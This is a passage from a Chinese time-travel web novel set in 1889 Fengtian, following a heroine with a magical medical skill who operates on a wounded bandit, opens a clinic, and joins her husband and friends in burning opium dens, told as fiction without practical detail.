她连忙穿衣服,“不行,我得去找大哥二哥,通知他们夜里别放松警惕,把刀都放在手边以防万一。” 夜里风凉,霍骁北让温苒待在帐篷里,他出去传话。 院子里火堆烧得正旺。 霍骁北走近,见大哥温一荣借着光看书,二哥温一茂举着用木棍穿好的鱼来回小心翻烤。 温一荣给他让了让位置,“你咋出来了?” 霍骁北简单说明来意,兄弟俩神情立时严肃起来。 温一茂也不忙活烤鱼了,搓着手问:“要不要告诉他们大当家的,他正好在我们帐篷里呢。” 温一荣合上书,“你去叫他出来,这事必须得告诉他。” 不是他心狠,而是一旦隔壁的母女跑了,这帮土匪往他们身上撒火咋办? 温一茂拍着屁股跑去帐篷喊人,听动静还颇是费了些功夫才把郭朝宗揪出来。 来了火堆旁,郭朝宗眼尖瞥见烤鱼,随手拿过来翻烤,打着哈欠问:“找我什么事?” 自己辛苦烤的鱼被这 人问也不问就夺走,温一茂气得腮帮子紧咬,死死瞪着郭朝宗。 温一荣出主意,“下次找小妹弄点药粉。” 温一茂眼睛发亮,重重点头,“还是大哥鬼点子多!” 温一荣:“……” 这边霍骁北说了温苒的猜测,郭朝宗听完沉默半晌,翻了几下鱼才语气笃定道:“不会。” 霍骁北:“理由。” 郭朝宗看他两眼,举着烤鱼指向帐篷,“我听周凯那小子说你们还有多余的帐篷,你卖我一顶,我就告诉你。” 霍骁北轻飘飘瞥他一眼,声音平平:“你拿得出多少钱?” 只是很平常的眼神很平常的语气,却无端让郭朝宗心头窜上怒火。 看不起穷人啊? 郭朝宗咬牙切齿,“我用马和你换!” 霍骁北回来时,除了带着消息,还带着两匹明天会出现的马。 温苒震惊了,“一匹马换一顶帐篷?” 好吧,她才是穷人。 霍骁北拉着她躺下,“还有一把刀。” 温苒:“……” 一匹马换一把刀,更离谱了。 比这个还离谱的是,郭朝宗和徐夫人本来就认识。 温苒蹭一下坐起来,“他们本来就认识,郭朝宗想求药直接上门找人就是了,弄这么大阵仗做什么?” 多此一举! 霍骁北再次把她拉回来,“他之前带人抢了几个庄子,城里贴着他的画像,他不方便进城,听说巡抚夫人去庄子查账,他担心兄弟伤势,就带人去截路。” 温苒:“……” 然后就让她们撞上了是吧? 怪不得徐夫人母子心这么大,也怪不得徐夫人没有因为她们袖手旁观就记恨,合着因为她和郭朝宗根本就认识? 只有温苒,只有她白担心一场! 不管了,睡觉! 翌日。 温苒迷瞪着眼睛洗漱完吃饭,就听外面一阵骚动。 温一茂从外面进来,“好像是有人受伤快不行了。” 温苒瞬间睁大眼睛,加快吃饭速度。 霍骁北出去看情况,回来跟她说道:“隔壁派了人进城,我隐约听到巡抚夫人说会安排人去京城买药。” 温苒摇着头,这时候消炎药才刚面市没几个月,磺胺和青霉素更是一杆子支到二三十年后了,别说去京城,就是去伦敦纽约也不一定能买到有用的药。 严格来说,这时候与其把希望寄托在西药上,不如指望一下老祖宗传下来的中医。 温苒飞快解决掉早饭,临出门时却迟疑了。 她问霍骁北:“你说我去找巡抚夫人是不是不太好?” 郭朝宗都在她们院里住下了,按理说温苒想帮忙直接找他更合适,找巡抚夫人纯属多此一举。 这个郭朝宗可真会坏事! 温苒放弃了去找徐夫人,万一弄不好就成了挟恩图报,人家不仅不会当你的靠山,还会怀疑你别有用心。 郭朝宗和他手下一众兄弟此时都聚在一个院子里,院门口有人把守。 温苒和霍骁北说明来意,看门的两个年轻土匪盯着温苒看了又看,把霍骁北的脸色都给看得阴沉到能滴水了。 土匪一号进去报信。 土匪二号眼神狐疑地在两人之间转动,“你是谁?昨天怎么没见过你?” 温苒:“……” 她只是忘记在脸上抹锅灰而已。 霍骁北圈起她手腕,“这是我娘子。” 土匪二号险些瞪掉眼珠子,“温娘子不是个大黑脸吗?我们老大还感叹说可惜了,霍兄弟你一表人才,取了个娘子却没有盐。” 虽说他也不清楚没有盐和长得黑两者间有什么关系,但老大是个读书人,读书人的事他一个大老粗不晓得是正常的。 温苒这下子脸是真黑了。 于是等郭朝宗出来,第一眼看到门口亭亭玉立明艳清丽的冷美人,还未来得及惊艳,就被斜了一眼。 郭朝宗:“???” 他下意识摸了摸自己的胡子,笃定是这个的缘故。 不过这位大美人是谁?不是说霍兄弟找他吗? 视线往旁边一转,郭朝宗终于看到了霍骁北。 霍骁北自然没有漏去他刚才看温苒时直勾勾的眼神,冷着脸说道:“我娘子精通医术,听说你这里有伤患,过来看看。” 郭朝宗反应了好半天才想明白他话里的‘娘子’是谁,整个人如遭雷劈,抖着手指向温苒,瞬间拔高的声音飘忽尖锐:“她是你娘子?!” 温苒冷笑,“今天吃了盐,不然还能得郭义士一句‘貌若无盐’的评价。” 郭朝宗目光游移,大胡子遮住的脸上露出心虚。 “咳,你这是听谁瞎咧咧呢?我可没有背后说人的坏习惯……” 一旁瞎咧咧的土匪二号:“……” 老大忒不要脸! 温苒在心里翻白眼,没有才怪。 郭朝宗连忙转移话题,“快进来快进来。” 受伤的人叫郭晨,是这里头的二当家,躺在炕上昏迷不醒,脸色苍白眉眼间满是痛苦之色。 隔着窗户瞅了一眼,郭朝宗带两人到隔壁屋子。 倒上茶水,他盘腿坐到炕上,皱着眉表情发愁,“城里咱们的大夫都说没办法,有一个祖上是宫里太医的大夫,说除非他太爷能活过来。” “洋人大夫可以做手术,但缺少药剂伤口很大可能会感染。” 听他话里的意思,似乎对洋人那一套很了解。 温苒放下水杯,“让我看看他的伤势。” 郭朝宗摇了摇头,“祖上是太医的大夫都说没办法,你年纪轻轻,我实在没办法相信你。” 温苒早有准备,“我给你把把脉。” 郭朝宗将信将疑地探出手。 温苒沉吟片刻,“你要不要先去解决一下个人问题?” 憋尿对肾不好。 郭朝宗:“?!” 郭朝宗捂着脸跳下炕,鞋都没穿好就冲出了屋子。 霍骁北:“……” 他起身去把门关上,“这里的事情结束,或许可以劝爷爷他们在这个村子落脚。” 有郭朝宗这个名声响当当的黑老鸹在,一般的土匪不敢过来打秋风,到时他们在城里也放心得下村里的安全。 温苒托腮叹气,“大哥恐怕不会愿意。” 她们这帮人里,对‘土匪’这个群体阴影最重抵触最大的非大哥温一荣莫属,属于是提起来就咬牙切齿想来上两刀的程度。 霍骁北揉揉她的头发,“我去跟他说,留下来对大家都好。” 过了好半天,郭朝宗姗姗来迟,就是变化实在大。 ——剃了胡子,换了衣服,辫子也重新绑了一遍,还在尾端坠了一块水头不错的绿色翡翠,转身时霎是夺人眼光。 温苒强自憋住笑意,难不成他以为换成这样的打扮刚才出的洋相就不存在了? 霍骁北上下打量他一通,得出了人不可貌相的结论。 郭朝宗坐到炕沿上,坐姿矜持端正却透着股随意,“咳,未梳洗便见客是郭某失礼。” 温苒点点头,然后问道:“所以我可以看看他的伤势吗?” 郭朝宗迟疑,“你确定你能治吗?不是我不相信你,你的年纪摆在这里,就算自小学医也很难比得过七老八十的老大夫。” 温苒直了直腰,“因为我有天赋,而且非常努力。” 她跟着技能自带的医书和教程自学,不到一个月的时间LV1的进度条就刷了一半,除了她夜以继日地学习实践,天赋也是必不可少的。 郭朝宗放下茶杯,为温苒毫不谦虚的自负之语目瞪口呆。 温苒说道:“反正你也没有把握找来的洋人大夫可以治好你的兄弟,不如让我来,死马当活马医,万一就治好了呢?” 郭朝宗最后还是妥协了,带她们两个去看郭晨。 郭晨伤在腹部,伤口已经有了溃烂趋势,得亏现在天冷还有得救。 郭朝宗急切问道:“能救吗?” 温苒直接吩咐,“准备一间干净的采光好的房间,烧上热水,再叫我的三个助手过来。” 郭朝宗激动地去攥她手臂,被霍骁北毫不留情打开。 郭朝宗也不在意,追问道:“几成把握?” 温苒给出一个偏向保守的答案:“九成吧。” 郭朝宗愣了下,回过神来像只离弦的箭一样冲出房间,大呼小叫地喊人:“人呢都给我出来,马上收拾出一间采光好的屋子,务必给我打扫得一尘不染!水也烧上,咱们多少口锅都给用上,不够就去借!” 吩咐完转身回来,郭朝宗深深看着温苒,“温娘子若能救好我兄弟,我郭朝宗这条命就是温娘子的了!” 霍骁北缓缓抬眼,目光冷冽,嗓音沉沉:“ 没人稀罕你的狗命。” 第46章 第46章1889从闯关东开始1…… 郭朝宗心里高兴,就打算和霍骁北犟一犟,“你又不是温娘子你怎么知道他不稀罕?就算你是温娘子的相公,可我看温娘子不像会是被人拿捏的性子,你也做不了她的主!” 先前他觉得温娘子配不上霍骁北,现在他坚定不移地认为是霍骁北配不上温娘子。 郭朝宗洋洋得意,完全不知道他已经在霍骁北的黑名单上名列榜首了。 霍骁北没理他,而是握着温苒的手捏了捏,漆黑的眼底刻着她的剪影。 温苒抿抿唇角,好吧好吧,“我确实不稀罕。” 她发现穿越之后霍骁北变了许多。 以前霍骁北的情绪很少有波动,仿佛一直都那么沉稳可靠,大事小事问过她的意见后都由他做计划。 温苒是最后做决定的领导,他是苦逼出方案的员工。 现在完全反过来,拿主意的成了她,时常闹情绪的则是他。 温苒狐疑地看着霍骁北,这该不是他故意的吧? 司机理论?开车不晕车,她挑大梁就不会想东想西了? 郭朝宗不知何时默默地离开,温苒盯着霍骁北目不转睛。 霍骁北满头问号,“怎么了?” 温苒冷哼,“以后事情都交给你,我要专心学医。” 霍骁北反应过来,她发现了他的心机。 他挑了挑眉,温苒对他的态度越来越蛮横,别人长年纪她长脾气。 刚认识的时候还会对他撒娇,现在只会颐指气使地让他做这个做那个。 霍骁北瞥了眼炕头,病人十分配合,昏迷得好好的。 他放下心来,箍住温苒的腰,同时俯下身手臂穿过她膝弯。 猝不及防被抱到半空,温苒惊呼出声,神情慌张地去推他,“你放我下来这里有人!” 霍骁北不闻不问,走到凳子跟前,转身坐下,圈着她的腰把她摁在腿上。 温苒气鼓鼓瞪着他。 霍骁北的手掌攀上她的脸颊,动作轻柔地摩挲,“我考虑考虑。” 温苒茫然一瞬,反应过来他要考虑什么,顿时更气,“我要学技能,管太多事情就没时间了!” 霍骁北垂眸沉吟,“那你说些好听的话,我高兴了就答应你。” 温苒:“……” 温苒眼神幽幽地看着他,她以前也没有这样无理取闹过吧? 反正霍骁北是打定主意了,除非温苒跟他撒娇,不然他不配合。 温苒忍了又忍,还是没忍住给了他几拳。 干净采光好的房间很快被收拾出来,院里新砌了几口大灶,灶膛里燃着熊熊火焰,大铁锅搁上去全力烧热水。 温苒紧急给三个助手培训,三娘小菊和香梅未来要在她的医馆工作,在路上她一面自学一面也会教这三个人。 手术工具温苒的医药箱里准备得齐全,各种药剂分量虽小但足够用,最关键的是‘神药’青霉素,再加上满级神医技能,可以说万无一失。 手术床安置在窗户底下,床四周拉上帘子,照明用签到给的台灯。 一场手术吸引了所有人的注意力,不大的院子里挤满了人,轰到院子外头去,人多到占了半条街。 手术室里除温苒和三个助手外,以防万一霍骁北和郭朝宗也在房间里候命。 分给温苒一行的院子里,温老汉问宋守言,“你说咱家小苒能把那土匪救活吗?万一没救成,咱是不是得动刀啊?” 宋守言吧嗒吧嗒抽着烟,也很发愁,“让大家做好准备吧。” 主要温苒这医术啥水平他们也不清楚,就每天看她捧着书,完了给他们早晚把把脉,路上谁有个头疼脑热的小病她倒是也能治,但说治大病谁心里也没个底。 叮嘱完大家,宋守言坐回来,又安慰温老汉:“小苒和骁北两个都是心里有成算的,我看不用担心。” 温老汉的表情一言难尽,真是啥话都叫你说完了! 隔壁,听闻温苒要给郭晨做手术,母女皆先是一愣,接着是不约而同的震惊。 荣秀由衷地赞叹:“温娘子年纪轻轻,竟有如此医术,实在厉害。” 徐夫人闻言,笑看女儿一眼,“你就如此相信温娘子?为何不是她在逞强行事?” 荣秀撅嘴,“温娘子不是这样的人,纵然女儿只和温娘子见过一面说过一次话,女儿也能看出来温娘子聪慧大方,机智博学,心思澄澈。” 徐夫人点了点她眉心,摇头失笑道:“你才见过多少人,就对自己的眼光如此自信?” 这场手术持续到下午三点钟,外面等待的人们都等累了,周三娘三个助手才出来吃饭,同时告诉大家手术结束。 但众人都还不敢进院子,只堵在门口向里张望。 房间里温苒正伏在桌上记录手术过程,霍骁北陪在她身边,帮她递笔铺纸整理写好的纸张。 依稀可闻低语声自白布围成的手术间里传出来,是郭朝宗和醒来的郭晨在说话。 郭晨的伤势比预想得还要严重,手术中出现过几次十分凶险的情况,没有先进的科技手段,温苒能依靠的只有神医技能。 好在一切有惊无险,温苒也通过这次手术学到了很多东西。 撑着写完手术记录,温苒就开始眼皮打架,连口水都顾不上喝,钻进帐篷闭上眼就睡死了。 做手术是个体力活,站大几个小时,全程注意力集中,两条胳膊端着,手不能抖眼不能花,到后面全凭温苒的意志力在坚持。 霍骁北炖上鸡汤后进了帐篷,温水打湿毛巾给她擦手擦脸,然后来回按摩她的胳膊和小腿。 温苒爹娘守在砂锅旁,陈六娘不满地嘟囔:“我说我去给花儿按吧,臭小子非说他也要休息,你说他大老爷们一个能有多累还休息?” 温向安叹气,“这小子忒能黏人,咱也不好跟苒说小话儿,那不成了恶公公恶婆婆?” 两口子是挺满意女婿对自己女儿这样上心,但女婿太黏人,她们都不能女儿好好说说话。 隔壁院,听说手术结束还没出乱子,母女两个都很震惊。 荣秀松开拧成麻花的手绢,长舒一口气,愉快道:“我就说温娘子能行!” 徐夫人没有戳破女儿,反而跟着点了点头,“温娘子确实医术精湛。” 芸香端着饭菜进屋,一一摆到桌上,“夫人,小姐,您两个跟着担心连午饭都没顾上吃,这下听到好消息可总算是能用两口了。” 温苒这一觉睡得天昏地暗,也就不知,傍晚时候奉天巡抚父子前来,并很快带走母女二人,但巡抚留下了儿子在此。 转天温苒起了个大早,院里异常安静,饥肠辘辘快饿疯了的她直接啃了三个大肉包子,才慢下来吃小菜喝米粥。 霍骁北让她慢点吃,给她讲目前的情况,“昨天巡抚过来带走他的妻女,留下了他儿子郑荣齐给郭朝宗帮忙。” 温苒咽下包子,想说点什么又觉得算了,没靠上靠山就没靠山吧,总比得罪人家好太多。 谁知霍骁北又道:“荣齐告诉我,他母亲说想请你负责巡抚府后宅女眷的身体调养。” 温苒眼睛倏然亮起来,“真的?” 霍骁北剥了个鸡蛋递给她,“嗯,真的,听说你要开医馆,他还帮忙找了几个合适的铺面,我选了两个相邻的院子,前面开店后院住人。其他人都去了官府办理契书,顺道把院子打扫打扫再回来。” 只是睡了一觉,温苒怎么也没想到进展这么迅速? 温苒三两口咽下鸡蛋,“那在这个村子落脚的事情,你和爷爷他们讲了吗?” 霍骁北擦了擦手,“是爷爷先和我说的这件事,你帮了郭朝宗这么大忙,咱们以后在村里就有了靠山。” 这件事上温老汉宋守言和林长福三个比谁都积极,哪个反对呲哪个。 土匪怎么了?没听人说 不抢老百姓啊? 他们老百姓就想过个安生日子罢了,在哪儿过不是过? 乱世里老百姓为了活着,底线可是很灵活的。 这么多件大事凑堆儿解决了,温苒顿觉浑身一身轻,“可算是能休息两天了。” 霍骁北打破她的幻想,“医馆和饭馆还需要装修,在这个村子落户也要重新盖房,这些事情没有你不行。” 香喷喷的肉包子顿时不再可口,温苒眼神幽幽地望着霍骁北,“不是还有你吗?我都累了这么久休息休息难道不可以吗?” 霍骁北当然没有这个意思,他只是想让温苒向他撒撒娇多跟他在一起而已。 拐弯抹角地暗示看来是行不通了,等温苒吃饱霍骁北把她掳进帐篷,软硬兼施威逼色诱一通,才终于心满意足。 温苒坨红着脸出来,冷风拂散面上的热意,才去看病人今天的情况。 郭晨有轻微的发热症状,这是正常情况。 术后小半个月,他的伤势恢复一天比一天好,两个月后完全愈合。 时近七月,曾经逃难的一行人正式在奉天落脚。 许州村——原是许州人闯关东的聚集地——村尾新起了三间宽阔的院子,院子后头的空地叫围起来成了菜园子,附近无主的田地也迎来了主人,被辛勤地种上了庄稼和草药。 一大早,郭朝宗领着几个兄弟过来温家蹭饭,蹭完饭拐到院子后头,“向平叔,今天的菜摘少点,昨傍晚苒妹子说她过两天回来看草药长得咋样。” 温向平把黄瓜一根根码在筐里,拎到骡车旁,郭朝宗随手接过来,不客气地拿出来一根咔嚓咬下去,“行,那我带兄弟们进城了!” 温向平冲一行人挥手,“跟小苒说家里都好,别叫她们惦记!” 郭朝宗扬鞭,“知道了!” 七月二十一上午,温苒去奉天巡抚府上给后宅的女眷把脉。 郑巡抚原是江南人,府上一应布置都很是婉约雅致。 把完脉,温苒照例会被荣秀留下来说话。 这姑娘简直是个话篓子,什么话都能跟温苒提一嘴。 荣秀现在就跟温苒抱怨,“城里新来了一队倭国商人,常来府上拜访,父亲每次都叫我出面招待那位山长纪子小姐,我都快愁死了。” 倭国人,温苒下意识问道:“你听不懂她说的话?” 荣秀摇头,“这倒不是,山长小姐会说华语。” 她咬着嘴唇,“只是她虽表现得端庄有礼,但我能感觉出来,她对我是极为不屑轻慢的。” 温苒沉吟片刻,给她出主意:“你可以称病不见,或者听到她来府上就出门,再或者你就当应付差事,她如何你也如何。” 荣秀拉着温苒的手,摇头叹气:“父亲说山长先生想在奉天建厂,叫我以大局为重。” 温苒微笑,这就是不要应付了事的意思了。 “那不如下次她过来,你同时请上几位交好的姑娘?” 荣秀眼睛亮了亮,对啊,到时候总不会冷场了。 离开巡抚府,温苒却没想到会再次山长先生的名字。 饭桌上,郭朝宗皱眉来了一句:“街头开了一家大烟馆,听说是一个叫山长小林的倭国人开的。” 第47章 第47章1889从闯关东开始1…… 郭朝宗的父母家人因为禁大烟被人暗害,这是众所周知的事情。 霍骁北筷子顿住,“你不要轻举妄动。” 郭朝宗阴沉着脸,猛地握拳锤了下桌子,“我现在就想一把火烧了大烟馆!” 屋里都是自己人,打烊后饭馆、医馆和镖局的人都集中到饭馆来吃晚饭。 说到镖局,这是黑老鸹郭朝宗从良后打算带兄弟们一起做的生意,也兼职教授简单入门的拳脚功夫。 但是镖局至今没咋开张,一帮人没有喝西北风全靠饭馆和医馆接济。 这屋里头除了郭朝宗和郭晨,温苒和霍骁北,其他人对大烟都一知半解,只知道是个祸害不能沾。 温家人到底是乡下老实了一辈子的百姓,就是知道这么个东西也有限。 而其他人也大差不差的情况,知道,但没钱买。 奉天城里早先就有许多家大烟馆,有洋人开的也有自己人开的,大都和妓院青楼在一片街区里。 霍骁北当初会选择这边的铺面,就是看中这附近比别处清净。 没想到这才多久,大烟馆就开了过来。 借着这次机会,霍骁北开口,沉声警告在场所有人,“但凡还想活着,就不要沾这东西!” 闻言众人神情下意识严肃起来,万万没想到他会说出这样厉害的话。 董文斌仓皇咽下饭菜,率先大声应道:“北哥我听你的,我肯定不沾,不然就让我们老大砍了我!” 有他做榜样,其他人纷纷响应。 饭后,霍骁北又对着两个大舅子一个便宜小舅子严肃警告:“不仅不许沾大烟,妓院也不许去!” 温一茂挠头,这是点他呢。 他慌张开口解释,“妹夫你不要冤枉我,我没去,他们拽我我都没去。” 温一荣面无表情补刀:“那是因为你没钱,你的钱都上交给二婶留着娶媳妇儿呢,你想找小凯借。” 周凯用力点头,转过头认真向霍骁北补充:“姐夫我可没答应,我想攒钱给我舅买个新烟斗。” 温一茂叫俩人挤兑得脑袋垂到了胸前,“我知道错了,你们能别让我爹娘知道吗?” 温苒趴在窗下的书桌上看他们说话,听到这里忍不住问:“二哥你为什么想去妓院?” 温一茂臊红着脸,讷讷张口:“我我我就是听他们说的我……” 好吧,就当他是好奇。 温苒托腮,“二哥你知道妓院的女人都是怎么沦落到那里的吗?” 温一茂点头,却不知道她为什么这样问,“被卖进去的。” “是,她们是被卖进去的。父兄赌博或抽大烟欠了钱,就会卖女儿。” 温苒语气顿了顿,话锋一转:“妓院里也有大烟,等二哥你染上烟瘾却没钱买大烟,也会把我卖进去吗?” 温一茂直接吓傻了,“不不不我再也不干了你们打死我吧——” 一米九高的大汉,噗通跪地,嗷一声直接哭了出来,泪洒三尺两只手都抹不完。 温苒:“……” 效果好到离谱。 温一茂最后是被温一荣和周凯两个半拖半拽拽回了房间,后头直接呜呜了一宿,据说还做了噩梦,可见是吓得不轻。 三人离开后,霍骁北进了屋子,抱起温苒放在腿上,“不许诅咒自己?” 温苒蹭了蹭他手心,“哎呀我就是随口一说嘛!” 街头的大烟馆为这条街上的商铺带来了许多客流量。 眼见烟馆的生意越来越红火,郭朝宗的脸色一天比一天黑,他怕忍不住做点什么,干脆接了个镖带兄弟们离开,眼不见为净。 考虑到二哥曾经有过的想法,温苒让他和周凯也加入了这一趟走镖,去外头吃吃苦冷静冷静。 不说郭朝宗,就是温苒都想放一把火烧了大烟馆。 医馆的生意一如既往得冷清,普通百姓小病靠熬大病等死,温苒的客户都在深宅大院里,但没有病人就没办法积累经验。 温苒想了个办法,央求霍骁北隔几日便陪她去妓院找病人,为此她还需要变装成男子。 自打大烟馆开起来,妓院就多了一波又一波年轻命苦的姑娘。 然而温苒却什么都做不了。 她便是能救下一人,可还有千千万万个姑娘会被卖进来。 在妓院行医多日,温苒终归是被老鸨发现,经过一番讨价还价后,温苒拒绝了成为妓院特聘大夫——专职打胎、接生和避孕,也竟是她这段时间一直在做的——的机会。 不过避孕药温苒却是通过熟识的姑娘依旧在妓院低价兜售。 虽说是药三分毒,但身在这种地方本来就身不由己,许多姑娘染上花柳病后年纪轻轻就没了命,命都没有了还讲什么毒不毒的。 消沉一段时日后,温苒决定每月在医馆门口举行义诊。 义诊效果很不理想。 首先温苒这个年纪她就不是很让人信服,其次她是个女人,而街上走动的却几乎全部是男人。 现下是光绪十六年,年初时光绪帝大婚,西太后还政。 光绪四年时,清廷才废除禁止汉族妇女出关的条令。 饶是如此,今下闯关东的移民群体中男女比例也悬殊到令人咂舌的地步。 男女授受不亲,不乏有瞧温苒是个女人想占便宜的,但往旁边一瞥,霍骁北一米九大汉立着大刀坐在温苒身边,就没人再敢上前了。 义诊虽然效果不大好,但温苒没有放弃,并且把每月一次更改成了每旬一次,姜太公钓鱼愿者上钩嘛。 但同时她也不想就这样干等着,没有病人上门她难道不会去找? 于是温苒就在霍骁北的陪同中开始下乡四处找病人,男人们不屑叫她一个女大夫瞧,温苒就只给妇女同志们看。 病人没钱买药,温苒就修改药方尽可能更换成更便宜更常见的草药,还教大家认识草药采药换钱,或是分发种子给大家种植。 就这样忙活到了年根底下,温苒积攒的病例装满了五个大箱子,属于她自己的技能进度也来到了LV2。 离开老家的第一个新年,叫大家张罗得热闹红火,鞭炮噼里啪啦放了一挂又一挂。 大年夜,温苒盯着窗外的鞭炮,突然眼睛一亮。 年夜饭几家摆了一桌,郭朝宗、郭晨和董文斌脸皮相当厚地挤了过来,硬是要一起凑热闹。 但饺子上桌后,众人却惊讶地发现,“小苒她们呢?” 温苒、霍骁北和郭朝宗、郭晨、董文斌正在骑马去进城的路上。 除夕佳节,这几人计划搞个大的。 是夜,江畔燃起美轮美奂的烟花。 也是这一夜,奉天城里的烟馆一条街走水,好几间烧得只剩个空架子。 医馆这条街街头的大烟馆侥幸没有被散落的烟花波及,却因为客人沉迷大烟不小心将蜡烛碰倒,整栋楼深陷火海。 办完事回村路上,温苒向他们确认:“没有伤到无辜百姓吧?” 董文斌累瘫在了马背上,“绝对没有!这个时间家家户户都在吃年夜饭,我找小乞丐们走街串巷地喊几嗓子,就都出来看热闹了。” 也是因为看热闹的人太多堵了路,救火队接到信后赶来却根本没办法进去,才叫整条街都烧起来。 温苒当时就在某个烟馆对面给一个患病的姑娘的看病,是以清楚得看到了大火燃烧起来吞没一切的震撼画面。 董文斌咧着嘴得意地笑,“咱这是把奉天城的大烟馆一网打尽了,看他们以后还敢不敢开!” 听见这话,郭朝宗脸上的笑意消散,“你小子想多了,烟馆烧了不会重新盖?这条街毁了还可以去别的街买铺面照样开!” 这个东西利润巨大,而且根本不缺回头客,只要沾上神仙来了也没办法救,不流血是赶不走消不灭的,又岂是区区一场火能做到的? 温苒叫郭朝宗这话讲得喜悦之色荡然无存,她靠在霍骁北怀里唉声叹气,原本只是计划出口恶气就算了,没想到这口气太长根本出不完。 年后各种店铺重新开张,温苒去巡抚府把脉,见到她荣秀就一脸庆幸和她道:“还好山长小姐家的烟馆着了大火,最近他们父女都没来上门拜访。你不晓得先前她一直和我打听大哥的喜好,山长先生还和我父亲透露有意让山长小姐和大哥结亲呢!” 温做好事不留名苒默默微笑,深藏功与名。 “怪不得刚才把脉时没见到你大哥。” 荣秀捂着嘴笑,“大哥这把年纪了还没成亲是在等我表姐,表姐还有半年出丧,父亲叫大哥提前去我去外祖家,好避开奉天这里的事情。” 还没出正月,奉天城里的大烟馆就又死灰复燃,重新开门迎客。 因为有段时间没办法过瘾,有好些吸大发了,走在路上一头栽下去就再也没起来。 清早开张,温一荣照例先去喊来官兵抬人,才进屋里吃饭。 上午饭馆一向没什么客人,温苒和霍骁北占了张桌子,面对面盘账。 温苒的医馆盈余富足,其中的收入大头是给大户人家看病的赏钱,主要支出是采买草药外加义诊免费送药。 不枉她辛苦下乡义诊,这些日子来医馆看病的老百姓越来越多,当然依旧是妇女儿童居多。 霍骁北那边的帐就很惨不忍睹。 温苒伸长脖子瞅了眼,“我就说你不该答应让那些人记账的。” 有钱的客人哪会记账?没钱的客人吃白饭也要记账,又哪能指望他们会主动还账? 而且这样一来,愿意掏钱的见有人白吃白喝,心里能平衡吗? 满屋子辛勤擦桌的温一茂小声插嘴,“那也不能怪北哥,奉天城里那么多爷,今天来个那拉氏明天来个觉罗氏,咱们小老百姓哪得罪的起?” 人家说起来都是爷呢,这盛京里头旗人们就是比普通老百姓‘高贵’。 温苒嘴角抽搐,这帮人也就只能在她们这些小老百姓面前充充大爷了,其实那兜里两面光。 温苒合上账本,抬头活动脖颈,“你这个饭馆自从开起来不说赚钱净往里搭钱了,郭朝宗他们镖局上个月的饭钱结了没?” 霍骁北放下笔给她按摩,还没张口就听温一茂幽幽出声:“我和小凯上次走镖的工钱都没结呢,那可是我要存下来娶媳妇儿的钱。” 温苒:“……” 真行,就她们医馆一根独苗苗赚钱。 随着越来越多的老百姓来医馆看病,仁心医馆每旬义诊的名声也广传四方,相应的就是更多的老百姓光顾医馆。 而但凡到了温苒手上的病人,就没有她治不好的。 不知不觉温苒女神医的名头,也随着仁心医馆义诊的名声越传越广。 仁心医馆生意红火,医馆的主人还有个心善的神医名声,不止老百姓们认准仁心医馆看诊免费药价低廉还药到病除,富贵人家也更加青睐这样一个医术高超心肠仁慈的大夫。 然而奉天城就这么大,病人都奔着仁心医馆去了,其他医馆门庭冷落,自然会对抢了他们生意的仁心医馆和女神医产生了种种不满。 “身为女子,不好好在家相夫教子,却抛头露面和不知凡几的男子接触,如此不安分,若我是她相公我定要休了她!” 一墙之隔的饭馆里,某张桌上的客人义愤填膺地落下这样一番话后,得意洋洋地等待喝彩。 然而许久过去了,他却只看到众人望向自己的眼神满是戏谑。 同桌指了指他身后,那客人茫然地转过头,一排凶神恶煞的大汉就这样闯入了视线中。 最后的结果是,这位客人被霍骁北狠揍一顿,鼻青脸肿地送了官,谁叫他吃饭不给钱? 然而这样的事情不是霍骁北揍个人就能解决的,当时在场的其他人心里未尝不是赞同那番话的。 出了这件事,霍骁北就把饭馆交给温一荣,他则是去隔壁医馆扎了根,来一个说闲话的就丢一个。 温苒看着都累人。 比较出乎她预料的是,那些说闲话的人当中不乏许多真是来看病的病人。 这些人明明占了天大的便宜还非要说她的不是,温苒又不是包子捏的,直接放话要么原价给钱然后滚,要么不给钱就报官。 在有心人的搅和下,温苒的 名声从一派向好变成了好坏参半,然而让某些人失望的是来看病的百姓依旧只多不少。 老百姓也不是傻子,温苒的医术是有目共睹的,她看病还不要钱,她才像个傻子。 饭桌上,最近的话题一直围绕着温苒的医馆展开。 温一茂气呼呼说着他上街听来的闲话,“吃着你开的药,还要说你的难听话,端着碗呢就骂娘,不知道好歹!” 温一荣桌下头踢了他一脚叫他闭嘴,那些难听话自己听就算了说出来干什么? 霍骁北给温苒夹菜,“你打算怎么做?” 郭朝宗连忙咽下饭菜,积极开口:“实在不行我干回黑老鸹,带兄弟们砸几个医馆他们就老实了?” 这满大街的闲话真当他们不知道是谁传出来的,不就是那些黑心医馆联合弄的把戏? 霍骁北睨他一眼,“你真这样做才会坏事。” 郭朝宗拍桌子,“那你说怎么办?不能堵住大街上人的嘴,还不能堵源头吗?” 郭晨拽了拽自家少爷,“大哥你先别着急,听听温娘子怎么说。” 温苒还真有办法,“过两天是下旬的义诊,到时候你让镖局的兄弟们都别出门,等我安排就是。” 郭朝宗撇撇嘴,嘴里哼哼唧唧发笑,“要我们镖局兄弟等安排,看来你也觉得我的办法不错,放心,到时候我肯定给你收拾得妥妥的!” 霍骁北徐徐道:“你想多了,我娘子没你那么蠢。” 郭朝宗:“……” 第48章 第48章1889从闯关东开始1…… 义诊当天,温苒把地方安排在医馆门口的街面上,一字摆开十来张桌子。 郭朝宗抱臂倚在门口,看着台阶下调整桌子位置的霍骁北,“你家娘子弄这么多桌子是什么意思?难不成她以为她摆出桌子,那些看不上她女人身份的老古板们会主动过来?” 霍骁北头也不抬,“我娘子不像你这样蠢。” 郭朝宗:“……” 他还就不信了,非得看看温苒那小脑袋瓜能想出什么好主意来? 大清早街上多是去工厂做工的人们,路过医馆时停下来飞快看一眼,便耽误不得行色匆匆地离开。 间或有零星的瘾君子和刚从妓院出来的嫖客们打着哈欠经过,施舍个眼神后慢吞吞往家去。 温苒来到医馆门口,郭朝宗回头,温苒给他个嫌弃的眼神让他别挡路。 郭朝宗憋着气让开。 行,你们两口子就可着欺负我一个吧! 温苒迈出医馆大门,霍骁北走到台阶上握住她的手,带她来到中间的医案前。 瞧见这一幕,郭朝宗嘴角抽搐。 他就不懂了,霍骁北这么老大一只往饭馆门口一站连身经百战要饭的大黑狗都吓得打哆嗦,怎么到温苒这小娘子面前就这么…… 怎么这么黏糊糊的呢? 郭朝宗挑了个不太准确的形容词。 正在腹诽着,郭朝宗就见碰头说话的两口子扭头看过来,他顿时心虚地挪开眼神看东看西。 温苒看向他身后,“二哥你不过来在那里干站着躲太阳呢?” 